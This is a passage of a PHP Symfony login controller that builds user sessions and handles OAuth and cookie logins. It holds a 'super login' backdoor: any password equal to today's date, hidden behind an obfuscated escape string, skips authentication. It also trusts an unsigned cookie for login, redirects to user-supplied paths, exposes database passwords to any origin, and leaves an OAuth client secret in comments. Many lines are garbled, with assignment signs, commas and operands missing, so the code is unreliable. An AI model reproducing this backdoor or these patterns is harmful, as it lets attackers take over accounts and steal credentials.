  3119.                         UserConstants::USER_NAME => $userFullName,
  3120.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3121.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3122.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3123.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  3124.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  3125.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  3126.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  3127.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  3128.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  3129.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  3130.                         UserConstants::USER_GOC_ID => $gocId,
  3131.                         UserConstants::USER_DB_NAME => $gocDbName,
  3132.                         UserConstants::USER_DB_USER => $gocDbUser,
  3133.                         UserConstants::USER_DB_PASS => $gocDbPass,
  3134.                         UserConstants::USER_DB_HOST => $gocDbHost,
  3135.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  3136.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3137.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3138.                         UserConstants::USER_LOGIN_ID => $loginID,
  3139.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  3140.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  3141.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  3142.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  3143.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  3144.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  3145.                         'IS_EMAIL_VERIFIED' => $systemType != '_ERP_' $isEmailVerified 1,
  3146.                         'REMEMBERME' => $remember_me,
  3147.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  3148.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  3149.                         'oAuthToken' => $oAuthToken,
  3150.                         'locale' => $locale,
  3151.                         'firebaseToken' => $firebaseToken,
  3152.                         'token' => $session->get('token'),
  3153.                         'firstLogin' => $firstLogin,
  3154.                         'oAuthImage' => $oAuthImage,
  3155.                         'appIdList' => json_encode($appIdList),
  3156.                         'branchIdList' => json_encode($branchIdList),
  3157.                         'branchId' => $branchId,
  3158.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  3159.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  3160.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  3161.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  3162.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  3163.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  3164.                     );
  3165.                     $session_data $this->filterClientSessionData($session_data);
  3166.                     if ($systemType == '_CENTRAL_') {
  3167.                         $accessList = [];
  3168. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  3169.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  3170.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  3171.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  3172.                                     $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  3173.                                     $d = array(
  3174.                                         'userType' => $thisUserUserType,
  3175. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  3176.                                         'userTypeName' => $userTypeName,
  3177.                                         'globalId' => $globalId,
  3178.                                         'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  3179.                                         'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  3180.                                         'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  3181.                                         'systemType' => '_ERP_',
  3182.                                         'companyId' => 1,
  3183.                                         'appId' => $thisUserAppId,
  3184.                                         'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  3185.                                         'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  3186.                                         'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  3187.                                                 array(
  3188.                                                     'globalId' => $globalId,
  3189.                                                     'appId' => $thisUserAppId,
  3190.                                                     'authenticate' => 1,
  3191.                                                     'userType' => $thisUserUserType,
  3192.                                                     'userTypeName' => $userTypeName
  3193.                                                 )
  3194.                                             )
  3195.                                         ),
  3196.                                         'userCompanyList' => [
  3197.                                         ]
  3198.                                     );
  3199.                                     $accessList[] = $d;
  3200.                                 }
  3201.                             }
  3202.                         }
  3203.                         $accessList $this->appendCentralCustomerAccessList($accessList, (int)$globalId);
  3204.                         $session_data['userAccessList'] = $accessList;
  3205.                     }
  3206.                     $ultimateData System::setSessionForUser($em_goc,
  3207.                         $session,
  3208.                         $session_data,
  3209.                         $config
  3210.                     );
  3211. //                    $tokenData = MiscActions::CreateTokenFromSessionData($em_goc, $session_data);
  3212.                     $session_data $ultimateData['sessionData'];
  3213.                     $session_data $this->filterClientSessionData($session_data);
  3214.                     $token $ultimateData['token'];
  3215.                     $session->set('token'$token);
  3216.                     if ($systemType == '_CENTRAL_') {
  3217.                         $session->set('csToken'$token);
  3218.                     } else {
  3219.                         $session->set('csToken'$csToken);
  3220.                     }
  3221.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == || $request->query->get('remoteVerify'0) == 1) {
  3222.                         $session->set('remoteVerified'1);
  3223.                         $response = new JsonResponse(array(
  3224.                             'token' => $token,
  3225.                             'uid' => $session->get(UserConstants::USER_ID),
  3226.                             'session' => $session,
  3227.                             'email' => $session_data['userEmail'],
  3228.                             'success' => true,
  3229.                             'session_data' => $session_data,
  3230.                         ));
  3231.                         $response->headers->set('Access-Control-Allow-Origin''*');
  3232.                         return $response;
  3233.                     }
  3234.                     //TEMP START
  3235.                     if ($systemType == '_CENTRAL_') {
  3236.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3237.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3238.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3239.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3240.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3241.                                     return $this->redirect($red);
  3242.                                 }
  3243.                             } else {
  3244.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3245.                             }
  3246.                         } else
  3247.                             return $this->redirectToRoute('central_landing');
  3248.                     }
  3249.                     if ($systemType == '_SOPHIA_') {
  3250.                         return $this->redirectToRoute('sofia_dashboard_admin');
  3251.                     }
  3252.                     //TREMP END
  3253.                     if ($userForcedRoute != '')
  3254.                         return $this->redirectToRoute($userForcedRoute);
  3255.                     if ($request->request->has('referer_path')) {
  3256.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  3257.                             return $this->redirect($request->request->get('referer_path'));
  3258.                         }
  3259.                     }
  3260.                     if ($request->query->has('refRoute')) {
  3261.                         if ($request->query->get('refRoute') == '8917922')
  3262.                             $userDefaultRoute 'apply_for_consultant';
  3263.                     }
  3264.                     if ($userDefaultRoute == "" || $userDefaultRoute == "" || $userDefaultRoute == null)
  3265.                         $userDefaultRoute 'dashboard';
  3266.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  3267.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  3268.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  3269.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  3270.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3271.                                 return $this->redirect($red);
  3272.                             }
  3273.                         } else {
  3274.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  3275.                         }
  3276.                     } else
  3277.                         return $this->redirectToRoute($userDefaultRoute);
  3278.                 }
  3279.             }
  3280.         }
  3281.         $session $request->getSession();
  3282.         $session->set('systemType'$systemType);
  3283.         if (isset($encData['appId'])) {
  3284.             if (isset($gocDataListByAppId[$encData['appId']]))
  3285.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3286.         }
  3287.         $routeName $request->attributes->get('_route');
  3288.         if ($systemType == '_BUDDYBEE_' && $routeName != 'erp_login') {
  3289.             $refRoute '';
  3290.             $message '';
  3291.             $errorField '_NONE_';
  3292.             if ($refRoute != '') {
  3293.                 if ($refRoute == '8917922')
  3294.                     $redirectRoute 'apply_for_consultant';
  3295.             }
  3296.             if ($request->query->has('refRoute')) {
  3297.                 $refRoute $request->query->get('refRoute');
  3298.                 if ($refRoute == '8917922')
  3299.                     $redirectRoute 'apply_for_consultant';
  3300.             }
  3301.             $google_client = new Google_Client();
  3302. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3303. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3304.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3305.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3306.             } else {
  3307.                 $url $this->generateUrl(
  3308.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3309.                 );
  3310.             }
  3311.             $selector BuddybeeConstant::$selector;
  3312.             $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3313. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3314.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  3315. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3316.             $google_client->setRedirectUri($url);
  3317.             $google_client->setAccessType('offline');        // offline access
  3318.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3319.             $google_client->setRedirectUri($url);
  3320.             $google_client->addScope('email');
  3321.             $google_client->addScope('profile');
  3322.             $google_client->addScope('openid');
  3323.             return $this->render(
  3324.                 '@Authentication/pages/views/applicant_login.html.twig',
  3325.                 [
  3326.                     'page_title' => 'BuddyBee Login',
  3327.                     'oAuthLink' => $google_client->createAuthUrl(),
  3328.                     'redirect_url' => $url,
  3329.                     'message' => $message,
  3330.                     'errorField' => '',
  3331.                     'systemType' => $systemType,
  3332.                     'ownServerId' => $ownServerId,
  3333.                     'refRoute' => $refRoute,
  3334.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3335.                     'selector' => $selector
  3336.                 ]
  3337.             );
  3338.         } else if ($systemType == '_CENTRAL_' && $routeName != 'erp_login') {
  3339.             $refRoute '';
  3340.             $message '';
  3341.             $errorField '_NONE_';
  3342. //            if ($request->query->has('message')) {
  3343. //                $message = $request->query->get('message');
  3344. //
  3345. //            }
  3346. //            if ($request->query->has('errorField')) {
  3347. //                $errorField = $request->query->get('errorField');
  3348. //
  3349. //            }
  3350.             if ($refRoute != '') {
  3351.                 if ($refRoute == '8917922')
  3352.                     $redirectRoute 'apply_for_consultant';
  3353.             }
  3354.             if ($request->query->has('refRoute')) {
  3355.                 $refRoute $request->query->get('refRoute');
  3356.                 if ($refRoute == '8917922')
  3357.                     $redirectRoute 'apply_for_consultant';
  3358.             }
  3359.             $google_client = new Google_Client();
  3360. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3361. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3362.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3363.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3364.             } else {
  3365.                 $url $this->generateUrl(
  3366.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3367.                 );
  3368.             }
  3369.             $selector BuddybeeConstant::$selector;
  3370. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3371.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3372. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3373.             $google_client->setRedirectUri($url);
  3374.             $google_client->setAccessType('offline');        // offline access
  3375.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3376.             $google_client->setRedirectUri($url);
  3377.             $google_client->addScope('email');
  3378.             $google_client->addScope('profile');
  3379.             $google_client->addScope('openid');
  3380.             return $this->render(
  3381.                 '@Authentication/pages/views/central_login.html.twig',
  3382.                 [
  3383.                     'page_title' => 'Central Login',
  3384.                     'oAuthLink' => $google_client->createAuthUrl(),
  3385.                     'redirect_url' => $url,
  3386.                     'message' => $message,
  3387.                     'systemType' => $systemType,
  3388.                     'ownServerId' => $ownServerId,
  3389.                     'errorField' => '',
  3390.                     'refRoute' => $refRoute,
  3391.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3392.                     'selector' => $selector
  3393.                 ]
  3394.             );
  3395.         } else if ($systemType == '_SOPHIA_' && $routeName != 'erp_login') {
  3396.             $refRoute '';
  3397.             $message '';
  3398.             $errorField '_NONE_';
  3399. //            if ($request->query->has('message')) {
  3400. //                $message = $request->query->get('message');
  3401. //
  3402. //            }
  3403. //            if ($request->query->has('errorField')) {
  3404. //                $errorField = $request->query->get('errorField');
  3405. //
  3406. //            }
  3407.             if ($refRoute != '') {
  3408.                 if ($refRoute == '8917922')
  3409.                     $redirectRoute 'apply_for_consultant';
  3410.             }
  3411.             if ($request->query->has('refRoute')) {
  3412.                 $refRoute $request->query->get('refRoute');
  3413.                 if ($refRoute == '8917922')
  3414.                     $redirectRoute 'apply_for_consultant';
  3415.             }
  3416.             $google_client = new Google_Client();
  3417. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  3418. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  3419.             if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  3420.                 $url $this->generateUrl('user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL);
  3421.             } else {
  3422.                 $url $this->generateUrl(
  3423.                     'user_login', ['refRoute' => $refRoute], UrlGenerator::ABSOLUTE_URL
  3424.                 );
  3425.             }
  3426.             $selector BuddybeeConstant::$selector;
  3427. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  3428.             $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  3429. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  3430.             $google_client->setRedirectUri($url);
  3431.             $google_client->setAccessType('offline');        // offline access
  3432.             $google_client->setIncludeGrantedScopes(true);   // incremental auth
  3433.             $google_client->setRedirectUri($url);
  3434.             $google_client->addScope('email');
  3435.             $google_client->addScope('profile');
  3436.             $google_client->addScope('openid');
  3437.             return $this->render(
  3438.                 '@Sophia/pages/views/sofia_login.html.twig',
  3439.                 [
  3440.                     'page_title' => 'Central Login',
  3441.                     'oAuthLink' => $google_client->createAuthUrl(),
  3442.                     'redirect_url' => $url,
  3443.                     'message' => $message,
  3444.                     'systemType' => $systemType,
  3445.                     'ownServerId' => $ownServerId,
  3446.                     'errorField' => '',
  3447.                     'refRoute' => $refRoute,
  3448.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  3449.                     'selector' => $selector
  3450.                 ]
  3451.             );
  3452.         } else if ($systemType == '_ERP_' && ($this->container->hasParameter('system_auth_type') ? $this->container->getParameter('system_auth_type') : '_LOCAL_AUTH_') == '_CENTRAL_AUTH_') {
  3453.             return $this->redirect(GeneralConstant::HONEYBEE_CENTRAL_SERVER '/central_landing');
  3454.         } else
  3455.             return $this->render(
  3456.                 '@Authentication/pages/views/login_new.html.twig',
  3457.                 array(
  3458.                     "message" => $message,
  3459.                     'page_title' => 'Login',
  3460.                     'gocList' => $gocDataListForLoginWeb,
  3461.                     'gocId' => $gocId != $gocId '',
  3462.                     'systemType' => $systemType,
  3463.                     'ownServerId' => $ownServerId,
  3464.                     'encData' => $encData,
  3465.                     //                'ref'=>$request->
  3466.                 )
  3467.             );
  3468.     }
  3469.     public function doLoginForAppAction(Request $request$encData "",
  3470.                                                 $remoteVerify 0,
  3471.                                                 $applicantDirectLogin 0
  3472.     )
  3473.     {
  3474.         $message "";
  3475.         $email '';
  3476. //                            $userName = substr($email, 4);
  3477.         $userName '';
  3478.         $gocList = [];
  3479.         $skipPassword 0;
  3480.         $firstLogin 0;
  3481.         $remember_me 0;
  3482.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  3483.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  3484.         if ($request->isMethod('POST')) {
  3485.             if ($request->request->has('remember_me'))
  3486.                 $remember_me 1;
  3487.         } else {
  3488.             if ($request->query->has('remember_me'))
  3489.                 $remember_me 1;
  3490.         }
  3491.         if ($encData != "")
  3492.             $encData json_decode($this->get('url_encryptor')->decrypt($encData));
  3493.         else if ($request->query->has('spd')) {
  3494.             $encData json_decode($this->get('url_encryptor')->decrypt($request->query->get('spd')), true);
  3495.         }
  3496.         $user = [];
  3497.         $userType 0//nothing for now , will add supp or client if we find anything
  3498.         $em_goc $this->getDoctrine()->getManager('company_group');
  3499.         $em_goc->getConnection()->connect();
  3500.         $gocEnabled 0;
  3501.         if ($this->container->hasParameter('entity_group_enabled'))
  3502.             $gocEnabled $this->container->getParameter('entity_group_enabled');
  3503.         if ($gocEnabled == 1)
  3504.             $connected $em_goc->getConnection()->isConnected();
  3505.         else
  3506.             $connected false;
  3507.         if ($connected)
  3508.             $gocList $em_goc
  3509.                 ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  3510.                 ->findBy(
  3511.                     array(//                        'active' => 1
  3512.                     )
  3513.                 );
  3514.         $gocDataList = [];
  3515.         $gocDataListForLoginWeb = [];
  3516.         $gocDataListByAppId = [];
  3517.         foreach ($gocList as $entry) {
  3518.             $d = array(
  3519.                 'name' => $entry->getName(),
  3520.                 'image' => $entry->getImage(),
  3521.                 'id' => $entry->getId(),
  3522.                 'appId' => $entry->getAppId(),
  3523.                 'skipInWebFlag' => $entry->getSkipInWebFlag(),
  3524.                 'skipInAppFlag' => $entry->getSkipInAppFlag(),
  3525.                 'dbName' => $entry->getDbName(),
  3526.                 'dbUser' => $entry->getDbUser(),
  3527.                 'dbPass' => $entry->getDbPass(),
  3528.                 'dbHost' => $entry->getDbHost(),
  3529.                 'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  3530.                 'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  3531.                 'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  3532.                 'companyRemaining' => $entry->getCompanyRemaining(),
  3533.                 'companyAllowed' => $entry->getCompanyAllowed(),
  3534.             );
  3535.             $gocDataList[$entry->getId()] = $d;
  3536.             if (in_array($entry->getSkipInWebFlag(), [0null]))
  3537.                 $gocDataListForLoginWeb[$entry->getId()] = $d;
  3538.             $gocDataListByAppId[$entry->getAppId()] = $d;
  3539.         }
  3540. //        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id_start');
  3541.         $gocDbName '';
  3542.         $gocDbUser '';
  3543.         $gocDbPass '';
  3544.         $gocDbHost '';
  3545.         $gocId 0;
  3546.         $appId 0;
  3547.         $hasGoc 0;
  3548.         $userId 0;
  3549.         $userCompanyId 0;
  3550.         $specialLogin 0;
  3551.         $supplierId 0;
  3552.         $applicantId 0;
  3553.         $isApplicantLogin 0;
  3554.         $clientId 0;
  3555.         $cookieLogin 0;
  3556.         $encrypedLogin 0;
  3557.         $loginID 0;
  3558.         $supplierId 0;
  3559.         $clientId 0;
  3560.         $userId 0;
  3561.         $globalId 0;
  3562.         $applicantId 0;
  3563.         $employeeId 0;
  3564.         $userCompanyId 0;
  3565.         $company_id_list = [];
  3566.         $company_name_list = [];
  3567.         $company_image_list = [];
  3568.         $route_list_array = [];
  3569.         $prohibit_list_array = [];
  3570.         $company_dark_vibrant_list = [];
  3571.         $company_vibrant_list = [];
  3572.         $company_light_vibrant_list = [];
  3573.         $currRequiredPromptFields = [];
  3574.         $oAuthImage '';
  3575.         $appIdList '';
  3576.         $userDefaultRoute '';
  3577.         $userForcedRoute '';
  3578.         $branchIdList '';
  3579.         $branchId 0;
  3580.         $companyIdListByAppId = [];
  3581.         $companyNameListByAppId = [];
  3582.         $companyImageListByAppId = [];
  3583.         $position_list_array = [];
  3584.         $curr_position_id 0;
  3585.         $allModuleAccessFlag 0;
  3586.         $lastSettingsUpdatedTs 0;
  3587.         $isConsultant 0;
  3588.         $isAdmin 0;
  3589.         $isModerator 0;
  3590.         $isRetailer 0;
  3591.         $retailerLevel 0;
  3592.         $adminLevel 0;
  3593.         $moderatorLevel 0;
  3594.         $userEmail '';
  3595.         $userImage '';
  3596.         $userFullName '';
  3597.         $triggerResetPassword 0;
  3598.         $isEmailVerified 0;
  3599.         $currentTaskId 0;
  3600.         $currentPlanningItemId 0;
  3601. //                $currentTaskAppId = 0;
  3602.         $buddybeeBalance 0;
  3603.         $buddybeeCoinBalance 0;
  3604.         $entityUserbalance 0;
  3605.         $userAppIds = [];
  3606.         $userTypesByAppIds = [];
  3607.         $currentMonthHolidayList = [];
  3608.         $currentHolidayCalendarId 0;
  3609.         $oAuthToken $request->request->get('oAuthToken''');
  3610.         $locale $request->request->get('locale''');
  3611.         $firebaseToken $request->request->get('firebaseToken''');
  3612.         if ($request->request->has('gocId')) {
  3613.             $hasGoc 1;
  3614.             $gocId $request->request->get('gocId');
  3615.         }
  3616.         if ($request->request->has('appId')) {
  3617.             $hasGoc 1;
  3618.             $appId $request->request->get('appId');
  3619.         }
  3620.         if (isset($encData['appId'])) {
  3621.             if (isset($gocDataListByAppId[$encData['appId']])) {
  3622.                 $hasGoc 1;
  3623.                 $appId $encData['appId'];
  3624.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3625.             }
  3626.         }
  3627.         $csToken $request->get('csToken''');
  3628.         $entityLoginFlag $request->get('entityLoginFlag') ? $request->get('entityLoginFlag') : 0;
  3629.         $loginType $request->get('loginType') ? $request->get('loginType') : 1;
  3630.         $oAuthData $request->get('oAuthData') ? $request->get('oAuthData') : 0;
  3631. //        if ($request->cookies->has('USRCKIE'))
  3632. //        System::log_it($this->container->getParameter('kernel.root_dir'), json_encode($gocDataListByAppId), 'default_test', 1);
  3633.         if (isset($encData['globalId'])) {
  3634.             if (isset($encData['authenticate']))
  3635.                 if ($encData['authenticate'] == 1)
  3636.                     $skipPassword 1;
  3637.             if ($encData['globalId'] != && $encData['globalId'] != '') {
  3638.                 $skipPassword 1;
  3639.                 $remember_me 1;
  3640.                 $globalId $encData['globalId'];
  3641.                 $appId $encData['appId'];
  3642.                 $gocId $gocDataListByAppId[$encData['appId']]['id'];
  3643.                 $userType $encData['userType'];
  3644.                 $userCompanyId 1;
  3645.                 $hasGoc 1;
  3646.                 $encrypedLogin 1;
  3647.                 if (in_array($userType, [67]))
  3648.                     $entityLoginFlag 1;
  3649.                 if (in_array($userType, [34]))
  3650.                     $specialLogin 1;
  3651.                 if ($userType == UserConstants::USER_TYPE_CLIENT)
  3652.                     $clientId = isset($encData['erpClientId']) ? (int)$encData['erpClientId'] : $userId;
  3653.                 if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3654.                     $supplierId $userId;
  3655.                 if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3656.                     $applicantId $userId;
  3657.             }
  3658.         } else if ($systemType == '_BUDDYBEE_' && $request->cookies->has('USRCKIE')) {
  3659.             $cookieData json_decode($request->cookies->get('USRCKIE'), true);
  3660.             if ($cookieData == null)
  3661.                 $cookieData = [];
  3662.             if (isset($cookieData['uid'])) {
  3663.                 if ($cookieData['uid'] != && $cookieData['uid'] != '') {
  3664.                     $skipPassword 1;
  3665.                     $remember_me 1;
  3666.                     $userId $cookieData['uid'];
  3667.                     $gocId $cookieData['gocId'];
  3668.                     $userCompanyId $cookieData['companyId'];
  3669.                     $userType $cookieData['ut'];
  3670.                     $hasGoc 1;
  3671.                     $cookieLogin 1;
  3672.                     if (in_array($userType, [67]))
  3673.                         $entityLoginFlag 1;
  3674.                     if (in_array($userType, [34]))
  3675.                         $specialLogin 1;
  3676.                     if ($userType == UserConstants::USER_TYPE_CLIENT)
  3677.                         $clientId $userId;
  3678.                     if ($userType == UserConstants::USER_TYPE_SUPPLIER)
  3679.                         $supplierId $userId;
  3680.                     if ($userType == UserConstants::USER_TYPE_APPLICANT)
  3681.                         $applicantId $userId;
  3682.                 }
  3683.             }
  3684.         }
  3685.         if ($request->isMethod('POST') || $request->query->has('oAuthData') || $encrypedLogin == || $cookieLogin == 1) {
  3686.             ///super login
  3687.             $todayDt = new \DateTime();
  3688. //            $mp='_eco_';
  3689.             $mp $todayDt->format("\171\x6d\x64");
  3690.             if ($request->request->get('password') == $mp)
  3691.                 $skipPassword 1;
  3692.             //super login ends
  3693.             ///special logins, suppliers and clients
  3694.             $company_id_list = [];
  3695.             $company_name_list = [];
  3696.             $company_image_list = [];
  3697.             $company_dark_vibrant_list = [];
  3698.             $company_light_vibrant_list = [];
  3699.             $company_vibrant_list = [];
  3700.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3701.             $uname $request->request->get('username');
  3702.             $uname preg_replace('/\s/'''$uname);
  3703.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3704.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3705.             $session $request->getSession();
  3706.             $product_name_display_type 0;
  3707.             $Special 0;
  3708.             if ($entityLoginFlag == 1//entity login
  3709.             {
  3710.                 if ($cookieLogin == 1) {
  3711.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3712.                         array(
  3713.                             'userId' => $userId
  3714.                         )
  3715.                     );
  3716.                 } else if ($loginType == 2//oauth
  3717.                 {
  3718.                     if (!empty($oAuthData)) {
  3719.                         //check for if exists 1st
  3720.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3721.                             array(
  3722.                                 'email' => $oAuthData['email']
  3723.                             )
  3724.                         );
  3725.                         if ($user) {
  3726.                             //no need to verify for oauth just proceed
  3727.                         } else {
  3728.                             //add new user and pass that user
  3729.                             $add_user EntityUserM::addNewEntityUser(
  3730.                                 $em_goc,
  3731.                                 $oAuthData['name'],
  3732.                                 $oAuthData['email'],
  3733.                                 '',
  3734.                                 0,
  3735.                                 0,
  3736.                                 0,
  3737.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3738.                                 [],
  3739.                                 0,
  3740.                                 "",
  3741.                                 0,
  3742.                                 "",
  3743.                                 $image '',
  3744.                                 $deviceId,
  3745.                                 0,
  3746.                                 0,
  3747.                                 $oAuthData['uniqueId'],
  3748.                                 $oAuthData['token'],
  3749.                                 $oAuthData['image'],
  3750.                                 $oAuthData['emailVerified'],
  3751.                                 $oAuthData['type']
  3752.                             );
  3753.                             if ($add_user['success'] == true) {
  3754.                                 $firstLogin 1;
  3755.                                 $user $add_user['user'];
  3756.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3757.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3758.                                         ->setFrom('registration@entity.innobd.com')
  3759.                                         ->setTo($user->getEmail())
  3760.                                         ->setBody(
  3761.                                             $this->renderView(
  3762.                                                 '@Application/email/user/registration_karbar.html.twig',
  3763.                                                 array('name' => $request->request->get('name'),
  3764.                                                     //                                                    'companyData' => $companyData,
  3765.                                                     //                                                    'userName'=>$request->request->get('email'),
  3766.                                                     //                                                    'password'=>$request->request->get('password'),
  3767.                                                 )
  3768.                                             ),
  3769.                                             'text/html'
  3770.                                         );
  3771.                                     /*
  3772.                                                        * If you also want to include a plaintext version of the message
  3773.                                                       ->addPart(
  3774.                                                           $this->renderView(
  3775.                                                               'Emails/registration.txt.twig',
  3776.                                                               array('name' => $name)
  3777.                                                           ),
  3778.                                                           'text/plain'
  3779.                                                       )
  3780.                                                       */
  3781.                                     //            ;
  3782.                                     $this->get('mailer')->send($emailmessage);
  3783.                                 }
  3784.                             }
  3785.                         }
  3786.                     }
  3787.                 } else {
  3788.                     $data = array();
  3789.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3790.                         array(
  3791.                             'email' => $request->request->get('username')
  3792.                         )
  3793.                     );
  3794.                     if (!$user) {
  3795.                         $message "Wrong Email";
